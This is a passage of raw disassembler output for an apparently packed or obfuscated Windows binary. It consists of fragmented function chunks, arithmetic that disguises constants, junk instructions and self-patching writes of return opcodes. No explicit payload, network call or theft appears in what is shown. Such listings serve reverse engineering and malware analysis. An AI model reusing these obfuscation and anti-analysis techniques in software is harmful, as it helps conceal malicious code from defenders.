		ror	eax, 0Ch
		mov	edx, [esp-8+arg_4]

loc_44FC96:				; CODE XREF: sub_43E4A4:loc_45A376j
		jmp	loc_455A28
; END OF FUNCTION CHUNK	FOR sub_43E08B
; ---------------------------------------------------------------------------

loc_44FC9B:				; CODE XREF: dviuq5id:0044EB50j
		jl	loc_4401F7
		jp	loc_44C58D
		push	2740D6E4h
		jmp	loc_4401F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F11D

loc_44FCB1:				; CODE XREF: sub_44F11D+12j
		jz	loc_43FF61
		jmp	loc_43E6DE
; END OF FUNCTION CHUNK	FOR sub_44F11D

; =============== S U B	R O U T	I N E =======================================



sub_44FCBC	proc near		; CODE XREF: sub_44E619j
					; DATA XREF: sub_43C162+124ADo

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439153 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043AF68 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043B3FD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043DA24 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043ECCD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043ED75 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00442FED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044403C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444FC2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00445503 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445DC6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00446BC0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447AD2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448D7C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044921D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A0E0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044BC3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D16C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DA7A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044F70A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045949A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0045962B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459699 SIZE 0000000B BYTES

		xor	eax, esi
		pop	esi
		ror	eax, 2
		push	edx
		push	2471BEAh
		pop	edx
		and	edx, 5929E189h

loc_44FCCF:				; CODE XREF: dviuq5id:loc_43E0B4j
		jmp	loc_43AF68
sub_44FCBC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_44FCD4:				; CODE XREF: sub_43EB11+239j
		jz	loc_441D9E
		jmp	loc_442CBE
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------

loc_44FCDF:				; CODE XREF: dviuq5id:loc_440F5Bj
		push	9EAAFBFCh
		pop	eax
		xor	eax, 0FF6E42C4h
		jnz	loc_440DC8
		pushf
		jmp	loc_440DBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_44FCF7:				; CODE XREF: sub_4440E9:loc_44DEF9j
		shr	edx, 0Dh
		jmp	loc_450121
; END OF FUNCTION CHUNK	FOR sub_4440E9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44FD00:				; CODE XREF: sub_440898+15716j
		jmp	loc_4548F0
; END OF FUNCTION CHUNK	FOR sub_440898
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_405. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_44FD07:				; CODE XREF: sub_44CFBC+88E4j
		jmp	loc_457299
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------

loc_44FD0C:				; CODE XREF: dviuq5id:00455272j
					; dviuq5id:00458591j
		xor	esi, 7DE6D421h
		add	esi, 1F9499B0h
		xchg	esi, [esp]
		jmp	sub_453642
; ---------------------------------------------------------------------------

loc_44FD20:				; CODE XREF: dviuq5id:00452E15j
		popf

; =============== S U B	R O U T	I N E =======================================



sub_44FD21	proc near		; CODE XREF: sub_4408FF+B127p
		xchg	edx, [esp+0]
		pop	edx
		mov	ecx, 3F1h
		xor	edx, edx
		jmp	loc_43E6D9
sub_44FD21	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4595B5

loc_44FD31:				; CODE XREF: sub_4595B5+12j
		push	offset loc_449599
		jmp	nullsub_378
; END OF FUNCTION CHUNK	FOR sub_4595B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_44FD3B:				; CODE XREF: sub_44297E+E425j
		jbe	loc_44961A
		push	0BB05039Eh

loc_44FD46:				; CODE XREF: sub_44297E:loc_442523j
		push	1
		push	0A0A480BBh
		call	sub_43FF18

loc_44FD52:				; CODE XREF: sub_4570A4+7j
		jmp	nullsub_113
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------

loc_44FD57:				; CODE XREF: dviuq5id:loc_44F3D0j
		jmp	locret_43913E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_44FD5D:				; CODE XREF: sub_44646F+D2D4j
		jmp	loc_43D749
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D717

loc_44FD62:				; CODE XREF: sub_44D717+1Aj
		jmp	loc_4459C3
; END OF FUNCTION CHUNK	FOR sub_44D717
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441DD

loc_44FD67:				; CODE XREF: sub_4441DD+13j
		mov	byte ptr [eax],	0C3h
		jmp	sub_43D80D
; END OF FUNCTION CHUNK	FOR sub_4441DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BDEB

loc_44FD6F:				; CODE XREF: sub_43C2DA:loc_441EF2j
					; sub_44BDEB+Aj
		mov	eax, [esp-8+arg_4]
		push	ebp
		mov	ebp, edx
		push	offset loc_44B7E4
		jmp	locret_44E990
; END OF FUNCTION CHUNK	FOR sub_44BDEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453D79

loc_44FD7F:				; CODE XREF: sub_453D79-F360j
					; sub_453D79:loc_451751j
		mov	eax, [esp+0]
		push	eax
		push	offset sub_448392
		jmp	loc_4483FD
; END OF FUNCTION CHUNK	FOR sub_453D79
; ---------------------------------------------------------------------------

loc_44FD8D:				; CODE XREF: dviuq5id:00442821j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44FD8E	proc near		; CODE XREF: sub_446181-BF47p
					; sub_455696:loc_43AB66j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439D9E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043EEF7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043F6B0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00442B0A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00448106 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00451D14 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458315 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		jmp	loc_458315
sub_44FD8E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453C98

loc_44FD99:				; CODE XREF: sub_453C98:loc_439554j
		mov	esp, ebp
		xchg	ebx, [esp+4+var_4]
		mov	ebp, ebx
		pop	ebx
		push	0F86F5753h
		pop	eax
		jmp	loc_44EA30
; END OF FUNCTION CHUNK	FOR sub_453C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_44FDAC:				; CODE XREF: sub_44BB53+7E57j
		add	eax, 0AB70A07Eh
		add	eax, ebp
		add	eax, 505D8B5Ah
		push	esi
		mov	esi, eax
		xchg	esi, [esp+0]
		jmp	loc_455208
; END OF FUNCTION CHUNK	FOR sub_44BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44FDC5:				; CODE XREF: sub_43CB4C+1CDF3j
		pop	ecx
		shl	eax, 7
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; START	OF FUNCTION CHUNK FOR sub_440AB3

loc_44FDC9:				; CODE XREF: sub_440AB3:loc_458049j
		mov	edx, [ebp+8]
		mov	edx, [edx-8]

loc_44FDCF:				; CODE XREF: sub_45345A:loc_45973Fj
		or	edx, 40h
		or	eax, edx
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_455A55
; END OF FUNCTION CHUNK	FOR sub_440AB3
; ---------------------------------------------------------------------------
		add	ecx, 0A0796FAFh
		push	eax
		jmp	sub_43D24F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B9A5

loc_44FDEB:				; CODE XREF: sub_43B9A5+1FC3j
		sbb	esi, 91F4923Ah
		sbb	eax, ecx
		sub	edi, 81A1D005h
		jmp	loc_44BE8B
; END OF FUNCTION CHUNK	FOR sub_43B9A5
; ---------------------------------------------------------------------------

loc_44FDFE:				; DATA XREF: sub_44C2F6+BF8Eo
		push	81621689h
		xchg	ebp, [esp]
		mov	edi, ebp
		pop	ebp
		xor	edi, 0BC4F56DDh
		rol	edi, 18h
		and	edi, 8DDDC47Bh
		test	edi, 400000h
		jmp	loc_453F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_44FE23:				; CODE XREF: sub_446465:loc_45A0EEj
		call	sub_445A59
		push	0AB4076CDh
		pop	eax
		rol	eax, 14h
		and	eax, 62F08F18h
		xor	eax, 8C344B89h
		and	eax, 0B8C14455h
		jmp	loc_443858
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
		jge	loc_4546CF
		jmp	loc_453D52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_44FE53:				; CODE XREF: sub_459B3F:loc_44231Fj
					; sub_459B3F-17814j ...
		mov	al, 1
		jmp	loc_43FAD5
; ---------------------------------------------------------------------------

loc_44FE5A:				; CODE XREF: sub_4547E2-18266j
					; sub_4547E2-16702j
		inc	[ebp+var_4]
		jmp	loc_43C568
; END OF FUNCTION CHUNK	FOR sub_4547E2

; =============== S U B	R O U T	I N E =======================================



sub_44FE62	proc near		; CODE XREF: sub_440B69+Ep

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043B77A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044ECDD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00453382 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00457DBE SIZE 0000000B BYTES

		call	sub_459AAF
		push	ecx
		mov	ecx, [esp+4+arg_8]
		mov	dword ptr [ecx], 10001h
		jmp	loc_44ECDD
sub_44FE62	endp


; =============== S U B	R O U T	I N E =======================================



sub_44FE77	proc near		; DATA XREF: sub_444E6D+C536o

; FUNCTION CHUNK AT 00439EF9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044F1D7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00455BAA SIZE 0000000F BYTES

		and	edx, ecx
		push	ebx
		push	0D09F6B49h
		pop	ebx
		or	ebx, ds:4000F1h
		rol	ebx, 16h
		jmp	loc_439EF9
sub_44FE77	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_44FE8F:				; CODE XREF: sub_44C6B8+409Cj
		jmp	loc_455B1D
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443354

loc_44FE94:				; CODE XREF: sub_443354+10j
		jmp	loc_4524D8
; END OF FUNCTION CHUNK	FOR sub_443354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_44FE99:				; CODE XREF: sub_43C710+69A4j
		jmp	loc_44506D
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451F61

loc_44FE9E:				; CODE XREF: sub_451F61+11F4j
		push	edi
		push	0C9BA3A36h
		xchg	eax, [esp+0]
		mov	edi, eax
		pop	eax
		xor	edi, ds:4000F5h
		add	edi, 0CB99B03Eh
		jmp	loc_447F26
; END OF FUNCTION CHUNK	FOR sub_451F61

; =============== S U B	R O U T	I N E =======================================



sub_44FEBB	proc near		; DATA XREF: sub_459385-106C7o

; FUNCTION CHUNK AT 0044FEE1 SIZE 00000005 BYTES

		push	0BA0457BEh
		pop	edx
		add	edx, 0CCCC160Fh
		sub	edx, 6B49CB3Dh
		add	edx, 0E4BEDCD6h
		xchg	edx, [esp+0]
		jmp	loc_44FEE1
sub_44FEBB	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_44FEDC:				; CODE XREF: sub_44C6B8+B067j
		jmp	loc_444A76
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FEBB

loc_44FEE1:				; CODE XREF: sub_44FEBB+1Bj
		jmp	sub_43938B
; END OF FUNCTION CHUNK	FOR sub_44FEBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44FEE6:				; CODE XREF: sub_449CE2+1Aj
					; sub_440AB3:loc_455A55j ...
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_44FEF3:				; CODE XREF: sub_448154+8195j
		jmp	loc_456960
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44FEF8:				; CODE XREF: sub_43CB4C+1B650j
		call	sub_4452A6
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_44FEFD:				; CODE XREF: sub_43B3A0+160D8j
		jmp	loc_44FA80
; END OF FUNCTION CHUNK	FOR sub_43B3A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_44FF02:				; CODE XREF: sub_44C80D-3A96j
		jmp	loc_44CFCD
; END OF FUNCTION CHUNK	FOR sub_44C80D
; ---------------------------------------------------------------------------

loc_44FF07:				; CODE XREF: dviuq5id:00447920j
		jmp	sub_445110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BB2

loc_44FF0C:				; CODE XREF: sub_439BB2+Ej
		jmp	loc_445CEC
; END OF FUNCTION CHUNK	FOR sub_439BB2
; ---------------------------------------------------------------------------

loc_44FF11:				; CODE XREF: dviuq5id:00443471j
		jb	loc_4557F8
; START	OF FUNCTION CHUNK FOR sub_450217

loc_44FF17:				; CODE XREF: sub_450217:loc_43902Ej
		xor	ecx, 69F3A754h
		sub	ecx, 3949823Ah
		add	ecx, 0E83DA5E0h
		xchg	ecx, [esp+0]
		jmp	sub_443F7F
; END OF FUNCTION CHUNK	FOR sub_450217
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_44FF31:				; CODE XREF: sub_44646F:loc_4452D8j
		jnz	loc_4532A5
		pushf
		cdq
		jmp	loc_4532A2
; END OF FUNCTION CHUNK	FOR sub_44646F

; =============== S U B	R O U T	I N E =======================================



sub_44FF3E	proc near		; DATA XREF: sub_446682+1146Bo

; FUNCTION CHUNK AT 00446D73 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044BBA5 SIZE 00000005 BYTES

		add	eax, ebp
		add	eax, 7971562Ch
		mov	eax, [eax]
		push	eax
		jmp	loc_44BBA5
sub_44FF3E	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_41D010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_44FF54:				; CODE XREF: sub_443AC1+1EA4j
		jmp	loc_45240A
; END OF FUNCTION CHUNK	FOR sub_443AC1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_44FF5A:				; CODE XREF: sub_4512BC:loc_4576D1j
		jnb	loc_450F16
		mov	eax, [esp+0]
		push	edx
		push	ecx
		push	0B82D625Ah
		pop	ecx
		jmp	loc_458E87
; END OF FUNCTION CHUNK	FOR sub_4512BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452BBF

loc_44FF70:				; CODE XREF: sub_452BBF:loc_4508C2j
		add	ecx, edx
		rol	ecx, 17h
		jmp	loc_45891F
; END OF FUNCTION CHUNK	FOR sub_452BBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BCF

loc_44FF7A:				; CODE XREF: sub_453BCF:loc_44429Cj
		mov	ecx, ds:dword_44DF0C
		movzx	edx, byte ptr [ecx+edx]
		and	eax, edx
		jz	loc_450A90
		jmp	loc_43D60C
; END OF FUNCTION CHUNK	FOR sub_453BCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_44FF91:				; CODE XREF: sub_4560AC-8D2Dj
		sbb	ecx, 0FAB8A467h
		sub	ebx, 74BC28F4h
		jmp	loc_457643
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------

loc_44FFA2:				; CODE XREF: dviuq5id:0043A907j
		shl	eax, 12h

; =============== S U B	R O U T	I N E =======================================



sub_44FFA5	proc near		; CODE XREF: sub_440CED+9p

; FUNCTION CHUNK AT 00452E1A SIZE 00000010 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	esi
		push	5E3680DCh
		pop	esi
		or	esi, 7950A05h
		sub	esi, 41692607h
		jmp	loc_452E1A
sub_44FFA5	endp

; ---------------------------------------------------------------------------

loc_44FFC1:				; CODE XREF: dviuq5id:00456FFBj
		call	sub_440D0D

loc_44FFC6:				; CODE XREF: dviuq5id:loc_453B56j
		test	al, al
		jz	loc_450D0D
		jmp	loc_443D7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_44FFD3:				; CODE XREF: sub_43C9A9+108EEj
		jnp	loc_44D5CA
		rol	ebp, 14h
		jmp	loc_442B2B
; END OF FUNCTION CHUNK	FOR sub_43C9A9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44FFE1	proc near		; DATA XREF: sub_45A04Bo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00449CC5 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		js	sub_44D3E7
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		push	offset loc_43B763
		jmp	loc_449CC5
sub_44FFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_44FFFD	proc near		; CODE XREF: sub_43EFA5+13626j
		push	ebx
		pop	ebp
		xchg	eax, [esp+0]
		mov	ebx, eax
		pop	eax
		retn
sub_44FFFD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_450006:				; CODE XREF: sub_443F7F+5F7Aj
		jmp	loc_443E19
; END OF FUNCTION CHUNK	FOR sub_443F7F

; =============== S U B	R O U T	I N E =======================================



sub_45000B	proc near		; CODE XREF: sub_456A43:loc_43D0C6j
					; sub_44226E+9p ...

; FUNCTION CHUNK AT 0044412D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458E15 SIZE 0000000B BYTES

		push	300B5BB3h
		jmp	loc_44412D
sub_45000B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_450015	proc near		; CODE XREF: sub_45A003+Fj
		retn
sub_450015	endp

; ---------------------------------------------------------------------------
		push	0DE9E1235h
		pop	eax
		and	eax, 8649A6BDh
		rol	eax, 15h
		jmp	loc_45334D

; =============== S U B	R O U T	I N E =======================================



sub_45002A	proc near		; CODE XREF: sub_43BD72+442p
					; dviuq5id:0044B6D7j

; FUNCTION CHUNK AT 00447765 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044789E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00456A10 SIZE 00000016 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-8]
		call	sub_44DFE3

loc_450036:				; CODE XREF: sub_443F7F-9B42j
		jmp	loc_44789E
sub_45002A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, 0A3F1474Bh
		jmp	sub_43C350

; =============== S U B	R O U T	I N E =======================================



sub_450045	proc near		; CODE XREF: sub_44EAC4:loc_449845j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043EBFE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00450284 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0045778E SIZE 00000005 BYTES

		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		call	sub_448213

loc_450050:				; CODE XREF: dviuq5id:00455CC1j
		jmp	loc_450284
sub_450045	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_450055:				; CODE XREF: sub_43BA0E+18EA7j
		jmp	loc_43D6E0
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_45005A:				; CODE XREF: sub_43CB4C+578Dj
		jmp	loc_45611B
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------

loc_45005F:				; CODE XREF: dviuq5id:0044A760j
		push	ecx
		jg	loc_454876
		xchg	esi, [ebp+0]
		push	43B743C9h

loc_45006E:				; CODE XREF: dviuq5id:0044A74Aj
		rol	esi, 5
		jnb	loc_43A095
; START	OF FUNCTION CHUNK FOR sub_459D7E

loc_450077:				; CODE XREF: sub_459D7E+1j
		jmp	loc_456189
; END OF FUNCTION CHUNK	FOR sub_459D7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459A5B

loc_45007C:				; CODE XREF: sub_459A5B+1Ej
		jmp	loc_4419CA
; END OF FUNCTION CHUNK	FOR sub_459A5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_450081:				; CODE XREF: sub_43CB4C+1E4Aj
		jmp	loc_44467D
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
		add	ebx, 0B1F48CDAh
		adc	edi, ebp
		jmp	loc_43A08B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_450093:				; CODE XREF: sub_445F35:loc_43DE18j
		movzx	eax, word ptr [eax+6]
		mov	[ebp-10h], eax
		push	748FBEBh
		pop	eax
		add	eax, 0A0D23Bh
		xor	eax, 7E2FC35Ah
		jmp	loc_43F6A6
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489BA

loc_4500B1:				; CODE XREF: sub_4489BA:loc_442960j
		jnz	loc_456C5A
		jmp	loc_452A81
; END OF FUNCTION CHUNK	FOR sub_4489BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_4500BC:				; CODE XREF: sub_455400-8BABj
		add	ecx, 81113F4Fh

loc_4500C2:				; CODE XREF: sub_455400:loc_44033Cj
		mov	eax, [esp+0]
		call	sub_452A73

loc_4500CA:				; CODE XREF: sub_455400-194DCj
					; dviuq5id:00458F5Fj
		xchg	eax, [esp+0]
		mov	edx, eax
		jmp	loc_451D99
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_4500D4:				; CODE XREF: sub_441DDA+14214j
		js	loc_439415

loc_4500DA:				; CODE XREF: sub_441DDA:loc_44AA8Fj
		push	0
		push	0
		push	10h
		mov	eax, [ebp+8]
		push	edx
		mov	edx, eax
		xchg	edx, [esp+14h+var_14]
		jmp	loc_43EBCA
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
		mov	ds:dword_41D088, eax
		lea	eax, nullsub_514
		mov	byte ptr [eax],	0C3h
		jmp	loc_44BA47

; =============== S U B	R O U T	I N E =======================================



sub_450102	proc near		; CODE XREF: sub_4031FD+AAp
					; sub_404A3E+B9p ...
		call	sub_441C84
		jmp	ds:off_41D08C
sub_450102	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_45010D:				; CODE XREF: sub_4463B7+11F25j
		jmp	loc_453FF3
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------

loc_450112:				; CODE XREF: dviuq5id:00455FE7j
		jmp	loc_4397B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A203

loc_450117:				; CODE XREF: sub_44A203+11j
		jmp	loc_448E03
; END OF FUNCTION CHUNK	FOR sub_44A203
; ---------------------------------------------------------------------------

loc_45011C:				; CODE XREF: dviuq5id:00447BE4j
		jmp	loc_4583DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_450121:				; CODE XREF: sub_4440E9+BC11j
		jbe	loc_445A26

loc_450127:				; CODE XREF: sub_4440E9:loc_447EC2j
		cmp	dword ptr [ebp-108h], 31342D37h
		jnz	loc_446D87
		jmp	loc_457D48
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4520DC

loc_45013C:				; CODE XREF: sub_4520DC:loc_44DE79j
		mov	edx, eax
		push	offset loc_448C19
		jmp	loc_43FD9C
; END OF FUNCTION CHUNK	FOR sub_4520DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446CFB

loc_450148:				; CODE XREF: sub_446CFB+1245Ej
		jz	loc_45969F
		jmp	loc_448D8E
; END OF FUNCTION CHUNK	FOR sub_446CFB
; ---------------------------------------------------------------------------

locret_450153:				; CODE XREF: dviuq5id:00457A82j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_450154:				; CODE XREF: sub_44250B+1467j
		jmp	loc_441656
; END OF FUNCTION CHUNK	FOR sub_44250B

; =============== S U B	R O U T	I N E =======================================



sub_450159	proc near		; DATA XREF: sub_4477D7:loc_453480o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044E49D SIZE 00000009 BYTES

		push	0
		call	sub_448154
		push	0FFFFFFFFh
		call	sub_44AB80
		mov	esp, ebp
		xchg	ebx, [esp+4+var_4]
		jmp	loc_44E49D
sub_450159	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_450171:				; CODE XREF: sub_4525D0-2CDFj
		jns	loc_4427C8
		add	edi, ebp

loc_450179:				; CODE XREF: sub_4525D0:loc_43E402j
		push	0AD55CAB5h
		pop	eax
		rol	eax, 13h
		jmp	loc_44CC8A
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_450187:				; CODE XREF: dviuq5id:loc_44F386j
		not	ebp
		jmp	sub_44D717
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_45018E:				; CODE XREF: sub_451B18:loc_44CF50j
		call	sub_4489E1

loc_450193:				; CODE XREF: dviuq5id:loc_440A2Cj
		add	eax, 0A2AD23D6h
		add	eax, ebp
		call	sub_43A160
; END OF FUNCTION CHUNK	FOR sub_451B18
; START	OF FUNCTION CHUNK FOR sub_44FB5C

loc_4501A0:				; CODE XREF: sub_44FB5C-166DFj
		jmp	nullsub_115
; END OF FUNCTION CHUNK	FOR sub_44FB5C
; ---------------------------------------------------------------------------

loc_4501A5:				; CODE XREF: dviuq5id:loc_44A174j
		push	1EF97366h
		pop	esi
		sub	esi, 6F94068Fh
		test	esi, 80000h
		jmp	loc_453249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_4501BC:				; CODE XREF: sub_44A94D-95CEj
		call	sub_439995
; END OF FUNCTION CHUNK	FOR sub_44A94D
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_4501C1:				; CODE XREF: sub_44BD0B-698Bj
		jmp	sub_43FEBB
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D31

